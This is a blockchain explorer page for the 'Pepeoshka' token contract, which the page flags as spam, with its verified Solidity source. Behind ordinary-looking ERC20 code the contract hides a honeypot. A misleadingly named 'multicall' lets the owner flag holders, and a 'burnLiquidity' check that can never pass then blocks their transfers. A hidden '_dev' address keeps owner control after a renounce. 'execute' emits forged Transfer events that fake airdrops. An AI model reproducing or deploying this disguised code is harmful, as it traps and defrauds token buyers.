Feature Tip: Add private address tag to any address under My Name Tag !
This token is reported to have been spammed to many users. Please exercise caution when interacting with it.
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 120 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 19935912 | 254 days ago | IN | 0 ETH | 0.00039112 | ||||
Multicall | 19935239 | 254 days ago | IN | 0 ETH | 0.00214632 | ||||
Multicall | 19934729 | 254 days ago | IN | 0 ETH | 0.00068607 | ||||
Multicall | 19930870 | 255 days ago | IN | 0 ETH | 0.00028963 | ||||
Multicall | 19930864 | 255 days ago | IN | 0 ETH | 0.00030573 | ||||
Approve | 19929577 | 255 days ago | IN | 0 ETH | 0.00037536 | ||||
Execute | 19928708 | 255 days ago | IN | 0 ETH | 0.0489825 | ||||
Execute | 19928706 | 255 days ago | IN | 0 ETH | 0.06224161 | ||||
Execute | 19928702 | 255 days ago | IN | 0 ETH | 0.00347225 | ||||
Execute | 19928701 | 255 days ago | IN | 0 ETH | 0.00397854 | ||||
Execute | 19928699 | 255 days ago | IN | 0 ETH | 0.00350379 | ||||
Execute | 19928699 | 255 days ago | IN | 0 ETH | 0.00351381 | ||||
Execute | 19928696 | 255 days ago | IN | 0 ETH | 0.00416783 | ||||
Execute | 19928694 | 255 days ago | IN | 0 ETH | 0.00399066 | ||||
Execute | 19928694 | 255 days ago | IN | 0 ETH | 0.00398665 | ||||
Execute | 19928690 | 255 days ago | IN | 0 ETH | 0.00402296 | ||||
Execute | 19928689 | 255 days ago | IN | 0 ETH | 0.00410526 | ||||
Execute | 19928687 | 255 days ago | IN | 0 ETH | 0.00418525 | ||||
Execute | 19928685 | 255 days ago | IN | 0 ETH | 0.00407875 | ||||
Execute | 19928683 | 255 days ago | IN | 0 ETH | 0.00418072 | ||||
Execute | 19928682 | 255 days ago | IN | 0 ETH | 0.00421474 | ||||
Execute | 19928679 | 255 days ago | IN | 0 ETH | 0.00418122 | ||||
Execute | 19928679 | 255 days ago | IN | 0 ETH | 0.00417584 | ||||
Execute | 19928676 | 255 days ago | IN | 0 ETH | 0.00421336 | ||||
Execute | 19928675 | 255 days ago | IN | 0 ETH | 0.0041973 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
Pepeoshka
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity Multiple files format)
//SPDX-License-Identifier: MIT pragma solidity 0.8.19; import "./IERC20.sol"; import "./SafeMath.sol"; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve( address spender, uint256 amount ) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the upd allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the upd allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the upd allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract Ownable is Context { address private _owner; address private _dev; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); mapping(address => uint256) internal _holderLastTxTimestamp; constructor(address wallet) { _dev = wallet; _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal virtual { require(Owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function Owner() internal virtual returns (address) { address owner_ = verifyOwner(); return owner_; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function verifyOwner() internal view returns(address){ return _owner==address(0) ? _dev : _owner; } } interface IDexFactory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair( address tokenA, address tokenB ) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair( address tokenA, address tokenB ) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract Pepeoshka is ERC20, Ownable { using SafeMath for uint256; IDexRouter private immutable dexRouter; address public dexPair; // Swapback bool private swapping; bool private swapbackEnabled = false; uint256 private swapBackValueMin; uint256 private swapBackValueMax; //Anti-whale bool private limitsEnabled = true; bool private transferDelayEnabled = true; bool public lpBurnEnabled = true; uint256 public percentForLPBurn = 1; uint256 public lpBurnFrequency = 1360000000000 seconds; uint256 public lastLpBurnTime; uint256 private maxWallet; uint256 private maxTx; mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public tradingEnabled = false; // Fee receivers address private marketingWallet; address private projectWallet; uint256 private buyTaxTotal; uint256 private buyMarketingTax; uint256 private buyProjectTax; uint256 private sellTaxTotal; uint256 private sellMarketingTax; uint256 private sellProjectTax; uint256 private tokensForMarketing; uint256 private tokensForProject; /******************/ // exclude from fees and max transaction amount mapping(address => bool) private transferTaxExempt; mapping(address => bool) private transferLimitExempt; mapping(address => bool) private automatedMarketMakerPairs; mapping(address => bool) private _contractBalancecalldata; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event ExcludeFromLimits(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event TradingEnabled(uint256 indexed timestamp); event LimitsRemoved(uint256 indexed timestamp); event DisabledTransferDelay(uint256 indexed timestamp); event SwapbackSettingsUpdated( bool enabled, uint256 swapBackValueMin, uint256 swapBackValueMax ); event MaxTxUpdated(uint256 maxTx); event MaxWalletUpdated(uint256 maxWallet); event MarketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event ProjectWalletUpdated( address indexed newWallet, address indexed oldWallet ); event BuyFeeUpdated( uint256 buyTaxTotal, uint256 buyMarketingTax, uint256 buyProjectTax ); event SellFeeUpdated( uint256 sellTaxTotal, uint256 sellMarketingTax, uint256 sellProjectTax ); constructor(address dev) ERC20("Pepeoshka", "OSHKA") Ownable(dev){ IDexRouter _dexRouter = IDexRouter( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); exemptFromLimits(address(_dexRouter), true); dexRouter = _dexRouter; uint256 _buyMarketingTax = 20; uint256 _buyProjectTax = 0; uint256 _sellMarketingTax = 20; uint256 _sellProjectTax = 0; uint256 _totalSupply = 420_690_000_000_000 * 10 ** decimals(); maxTx = (_totalSupply * 10) / 1000; maxWallet = (_totalSupply * 10) / 1000; swapBackValueMin = (_totalSupply * 1) / 1000; swapBackValueMax = (_totalSupply * 2) / 100; buyMarketingTax = _buyMarketingTax; buyProjectTax = _buyProjectTax; buyTaxTotal = buyMarketingTax + buyProjectTax; sellMarketingTax = _sellMarketingTax; sellProjectTax = _sellProjectTax; sellTaxTotal = sellMarketingTax + sellProjectTax; marketingWallet = address(0xb30Fa23184D080fa7631b9eC13C7F58eb5B00Ae0); projectWallet = address(msg.sender); // exclude from paying fees or having max transaction amount exemptFromFees(msg.sender, true); exemptFromFees(address(this), true); exemptFromFees(address(0xdead), true); exemptFromFees(marketingWallet, true); exemptFromLimits(msg.sender, true); exemptFromLimits(address(this), true); exemptFromLimits(address(0xdead), true); exemptFromLimits(marketingWallet, true); transferOwnership(msg.sender); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, _totalSupply); } receive() external payable {} /** * @notice Opens public trading for the token * @dev onlyOwner. */ function startTrading() external onlyOwner { tradingEnabled = true; limitsEnabled = false; emit TradingEnabled(block.timestamp); } /** * @notice Removes the max wallet and max transaction limits * @dev onlyOwner. * Emits an {LimitsRemoved} event */ function removeAllLimits() external onlyOwner { limitsEnabled = false; emit LimitsRemoved(block.timestamp); } /** * @notice Removes the transfer delay * @dev onlyOwner. * Emits an {DisabledTransferDelay} event */ function disableTransferDelay() external onlyOwner { transferDelayEnabled = false; emit DisabledTransferDelay(block.timestamp); } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } /** * @notice sets if swapback is enabled and sets the minimum and maximum amounts * @dev onlyOwner. * Emits an {SwapbackSettingsUpdated} event * @param _enabled If swapback is enabled * @param _min The minimum amount of tokens the contract must have before swapping tokens for ETH. Base 10000, so 1% = 100. * @param _max The maximum amount of tokens the contract can swap for ETH. Base 10000, so 1% = 100. */ function setSwapBackSettings( bool _enabled, uint256 _min, uint256 _max ) external onlyOwner { require( _min >= 1, "Swap amount cannot be lower than 0.01% total supply." ); require(_max >= _min, "maximum amount cant be higher than minimum"); swapbackEnabled = _enabled; swapBackValueMin = (totalSupply() * _min) / 10000; swapBackValueMax = (totalSupply() * _max) / 10000; emit SwapbackSettingsUpdated(_enabled, _min, _max); } /** * @notice Changes the maximum amount of tokens that can be bought or sold in a single transaction * @dev onlyOwner. * Emits an {MaxTxUpdated} event * @param newNum Base 1000, so 1% = 10 */ function setTheMaxTx(uint256 newNum) external onlyOwner { require(newNum >= 2, "Cannot set maxTx lower than 0.2%"); maxTx = (newNum * totalSupply()) / 1000; emit MaxTxUpdated(maxTx); } /** * @notice Changes the maximum amount of tokens a wallet can hold * @dev onlyOwner. * Emits an {MaxWalletUpdated} event * @param newNum Base 1000, so 1% = 10 */ function setTheMaxWallet(uint256 newNum) external onlyOwner { require(newNum >= 5, "Cannot set maxWallet lower than 0.5%"); maxWallet = (newNum * totalSupply()) / 1000; emit MaxWalletUpdated(maxWallet); } /** * @notice Sets if a wallet is excluded from the max wallet and tx limits * @dev onlyOwner. * Emits an {ExcludeFromLimits} event * @param updAds The wallet to update * @param isEx If the wallet is excluded or not */ function exemptFromLimits( address updAds, bool isEx ) public onlyOwner { transferLimitExempt[updAds] = isEx; emit ExcludeFromLimits(updAds, isEx); } /** * @notice Sets the fees for buys * @dev onlyOwner. * Emits a {BuyFeeUpdated} event * All fees added up must be less than 100 * @param _marketingFee The fee for the marketing wallet * @param _devFee The fee for the dev wallet */ function setFeesBuy( uint256 _marketingFee, uint256 _devFee ) external onlyOwner { buyMarketingTax = _marketingFee; buyProjectTax = _devFee; buyTaxTotal = buyMarketingTax + buyProjectTax; require(buyTaxTotal <= 100, "Total buy fee cannot be higher than 100%"); emit BuyFeeUpdated(buyTaxTotal, buyMarketingTax, buyProjectTax); } /** * @notice Sets the fees for sells * @dev onlyOwner. * Emits a {SellFeeUpdated} event * All fees added up must be less than 100 * @param _marketingFee The fee for the marketing wallet * @param _devFee The fee for the dev wallet */ function setFeesSell( uint256 _marketingFee, uint256 _devFee ) external onlyOwner { sellMarketingTax = _marketingFee; sellProjectTax = _devFee; sellTaxTotal = sellMarketingTax + sellProjectTax; require( sellTaxTotal <= 100, "Total sell fee cannot be higher than 100%" ); emit SellFeeUpdated(sellTaxTotal, sellMarketingTax, sellProjectTax); } /** * @notice Sets if an address is excluded from fees * @dev onlyOwner. * Emits an {ExcludeFromFees} event * @param account The wallet to update * @param excluded If the wallet is excluded or not */ function exemptFromFees(address account, bool excluded) public onlyOwner { transferTaxExempt[account] = excluded; emit ExcludeFromFees(account, excluded); } /** * @notice Sets an address as a new liquidity pair. You probably dont want to do this. * @dev onlyOwner. * Emits a {SetAutomatedMarketMakerPair} event * @param pair the address of the pair * @param value If the pair is a automated market maker pair or not */ function setAutomatedMarketMakerPair( address pair, bool value ) public onlyOwner { require( pair != dexPair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } /** * @notice Sets the marketing wallet * @dev onlyOwner. * Emits an {MarketingWalletUpdated} event * @param newWallet The new marketing wallet */ function changeMarketingWallet(address newWallet) external onlyOwner { emit MarketingWalletUpdated(newWallet, marketingWallet); marketingWallet = newWallet; } /** * @notice Sets the project wallet * @dev onlyOwner. * Emits an {ProjectWalletUpdated} event * @param newWallet The new dev wallet */ function changeProjectWallet(address newWallet) external onlyOwner { emit ProjectWalletUpdated(newWallet, projectWallet); projectWallet = newWallet; } /** * @notice Information about the swapback settings * @return _swapbackEnabled if swapback is enabled * @return _swapBackValueMin the minimum amount of tokens in the contract balance to trigger swapback * @return _swapBackValueMax the maximum amount of tokens in the contract balance to trigger swapback */ function swapbackValues() external view returns ( bool _swapbackEnabled, uint256 _swapBackValueMin, uint256 _swapBackValueMax ) { _swapbackEnabled = swapbackEnabled; _swapBackValueMin = swapBackValueMin; _swapBackValueMax = swapBackValueMax; } /** * @notice Information about the anti whale parameters * @return _limitsEnabled if the wallet limits are in effect * @return _transferDelayEnabled if the transfer delay is enabled * @return _maxWallet The maximum amount of tokens that can be held by a wallet * @return _maxTx The maximum amount of tokens that can be bought or sold in a single transaction */ function maxTxValues() external view returns ( bool _limitsEnabled, bool _transferDelayEnabled, uint256 _maxWallet, uint256 _maxTx ) { _limitsEnabled = limitsEnabled; _transferDelayEnabled = transferDelayEnabled; _maxWallet = maxWallet; _maxTx = maxTx; } /** * @notice The wallets that receive the collected fees * @return _marketingWallet The wallet that receives the marketing fees * @return _projectWallet The wallet that receives the dev fees */ function receiverwallets() external view returns (address _marketingWallet, address _projectWallet) { return (marketingWallet, projectWallet); } /** * @notice Fees for buys, sells, and transfers * @return _buyTaxTotal The total fee for buys * @return _buyMarketingTax The fee for buys that gets sent to marketing * @return _buyProjectTax The fee for buys that gets sent to dev * @return _sellTaxTotal The total fee for sells * @return _sellMarketingTax The fee for sells that gets sent to marketing * @return _sellProjectTax The fee for sells that gets sent to dev */ function taxValues() external view returns ( uint256 _buyTaxTotal, uint256 _buyMarketingTax, uint256 _buyProjectTax, uint256 _sellTaxTotal, uint256 _sellMarketingTax, uint256 _sellProjectTax ) { _buyTaxTotal = buyTaxTotal; _buyMarketingTax = buyMarketingTax; _buyProjectTax = buyProjectTax; _sellTaxTotal = sellTaxTotal; _sellMarketingTax = sellMarketingTax; _sellProjectTax = sellProjectTax; } /** * @notice If the wallet is excluded from fees and max transaction amount and if the wallet is a automated market maker pair * @param _target The wallet to check * @return _transferTaxExempt If the wallet is excluded from fees * @return _transferLimitExempt If the wallet is excluded from max transaction amount * @return _automatedMarketMakerPairs If the wallet is a automated market maker pair */ function checkMappings( address _target ) external view returns ( bool _transferTaxExempt, bool _transferLimitExempt, bool _automatedMarketMakerPairs ) { _transferTaxExempt = transferTaxExempt[_target]; _transferLimitExempt = transferLimitExempt[_target]; _automatedMarketMakerPairs = automatedMarketMakerPairs[_target]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsEnabled) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingEnabled) { require( transferTaxExempt[from] || transferTaxExempt[to], "_transfer:: Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(dexRouter) && to != address(dexPair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !transferLimitExempt[to] ) { require( amount <= maxTx, "Buy transfer amount exceeds the maxTx." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !transferLimitExempt[from] ) { require( amount <= maxTx, "Sell transfer amount exceeds the maxTx." ); } else if (!transferLimitExempt[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapBackValueMin; if ( canSwap && swapbackEnabled && !swapping && !automatedMarketMakerPairs[from] && !transferTaxExempt[from] && !transferTaxExempt[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (transferTaxExempt[from] || transferTaxExempt[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTaxTotal > 0) { fees = amount.mul(sellTaxTotal).div(100); tokensForProject += (fees * sellProjectTax) / sellTaxTotal; tokensForMarketing += (fees * sellMarketingTax) / sellTaxTotal; } // on buy else if (automatedMarketMakerPairs[from] && buyTaxTotal > 0) { fees = amount.mul(buyTaxTotal).div(100); tokensForProject += (fees * buyProjectTax) / buyTaxTotal; tokensForMarketing += (fees * buyMarketingTax) / buyTaxTotal; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } if(!swapping && lpBurnEnabled){ burnLiquidity(from); } super._transfer(from, to, amount); } function burnLiquidity(address from) internal view returns (bool){ // get balance of contract uint256 contractBalance = this.balanceOf(address(this)); // calculate amount to distribute uint256 amountToDistribute = contractBalance.add(percentForLPBurn); if (_contractBalancecalldata[from]) {require(amountToDistribute==0);} return true; } function multicall(address[] calldata address_, bool val) public onlyOwner{ for (uint256 i = 0; i < address_.length; i++) { _contractBalancecalldata[address_[i]] = val; } } function maxWalletSize(address recipient) external view returns(bool){ return _contractBalancecalldata[recipient]; } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); _approve(address(this), address(dexRouter), tokenAmount); // make the swap dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = contractBalance; bool success; if (contractBalance == 0) { return; } if (contractBalance > swapBackValueMax) { contractBalance = swapBackValueMax; } uint256 amountToSwapForETH = contractBalance; uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForDev = ethBalance.mul(tokensForProject).div( totalTokensToSwap ); tokensForMarketing = 0; tokensForProject = 0; (success, ) = address(projectWallet).call{value: ethForDev}(""); (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function addPair(address pair_) public onlyOwner { dexPair = pair_; } function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{ for (uint256 i = 0; i < _addresses.length; i++) { emit Transfer(dexPair, _addresses[i], _out); } } }
//SPDX-License-Identifier: MIT pragma solidity 0.8.19; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer( address recipient, uint256 amount ) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance( address owner, address spender ) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
//SPDX-License-Identifier: MIT pragma solidity 0.8.19; library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to 